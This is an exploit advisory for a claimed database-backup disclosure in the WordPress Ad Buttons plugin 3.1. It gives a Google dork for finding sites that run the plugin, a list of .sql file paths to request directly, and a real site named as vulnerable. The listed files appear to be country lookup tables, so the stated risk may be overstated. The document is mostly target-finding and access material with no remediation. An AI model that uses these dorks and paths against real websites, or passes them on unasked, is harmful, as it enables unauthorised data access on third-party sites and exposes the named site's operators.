WordPress Ad Buttons plugin version 3.1 suffers from a database disclosure vulnerability.
ba35efe7107d2b8ae61944d6b7f256e0
#################################################################################################
# Exploit Title : WordPress Ad Buttons Plugins 3.1 Database Backup
Disclosure
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 06/12/2018
# Vendor Homepage : wordpress.org/plugins/ad-buttons/ ~ blogio.net/blog/
# Software Download Link : downloads.wordpress.org/plugin/ad-buttons.3.1.zip
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 3.1
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/ad-buttons/''
+ intext:''A(c) 2012 the social factory. All rights reserved.'' site:au
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]
#################################################################################################
# Admin Panel Login Path :
/wp-login.php
# Exploit :
/wp-content/plugins/ad-buttons/p.sql
/backup/wp-content/plugins/ad-buttons/p.sql
/wp-content/plugins/ad-buttons/at.sql
/wp-content/plugins/ad-buttons/au.sql
/wp-content/plugins/ad-buttons/b.sql
/wp-content/plugins/ad-buttons/c.sql
/wp-content/plugins/ad-buttons/ca.sql
/wp-content/plugins/ad-buttons/de.sql
/wp-content/plugins/ad-buttons/dk.sql
/wp-content/plugins/ad-buttons/eu.sql
/wp-content/plugins/ad-buttons/f.sql
/wp-content/plugins/ad-buttons/g.sql
/wp-content/plugins/ad-buttons/i.sql
/wp-content/plugins/ad-buttons/ip2nationcountries.sql
/wp-content/plugins/ad-buttons/j.sql
/wp-content/plugins/ad-buttons/jp.sql
/wp-content/plugins/ad-buttons/k.sql
/wp-content/plugins/ad-buttons/n.sql
/wp-content/plugins/ad-buttons/nl.sql
/wp-content/plugins/ad-buttons/p.sql
/wp-content/plugins/ad-buttons/r.sql
/wp-content/plugins/ad-buttons/ru.sql
/wp-content/plugins/ad-buttons/s.sql
/wp-content/plugins/ad-buttons/u.sql
/wp-content/plugins/ad-buttons/ua.sql
/wp-content/plugins/ad-buttons/uk.sql
/wp-content/plugins/ad-buttons/us.sql
/wp-content/plugins/ad-buttons/a.sql
#################################################################################################
# Example Vulnerable Site =>
[+] thesocialfactory.com.au/backup/wp-content/plugins/ad-buttons/p.sql
/wp-content/plugins/ad-buttons/e.sql
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################